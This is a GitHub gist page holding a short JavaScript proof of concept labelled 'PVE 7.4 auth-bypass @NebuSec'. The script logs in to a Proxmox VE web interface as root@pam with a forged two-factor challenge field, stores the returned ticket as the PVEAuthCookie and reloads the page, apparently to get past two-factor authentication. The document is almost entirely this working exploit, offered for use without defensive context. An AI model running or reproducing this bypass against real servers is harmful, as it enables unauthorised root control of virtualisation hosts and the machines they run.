-
-
Save nebusecurity/65fe90dd673d395b7926278d7eaf5849 to your computer and use it in GitHub Desktop.
PVE 7.4 auth-bypass @NebuSec
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // PVE 7.4 auth-bypass @NebuSec 2026 | |
| // First, make sure to try logging in as root with this exact password: root@pam | |
| (async () => { | |
| const form = new URLSearchParams({ | |
| username: "root@pam", | |
| password: "root@pam", | |
| "tfa-challenge": "NEBUSEC-CHALLENGE", | |
| }); | |
| const loginResponse = await fetch("/api2/json/access/ticket", { | |
| method: "POST", | |
| credentials: "omit", | |
| headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" }, | |
| body: form, | |
| }); | |
| const loginBody = await loginResponse.json(); | |
| document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`; | |
| location.reload() | |
| })(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment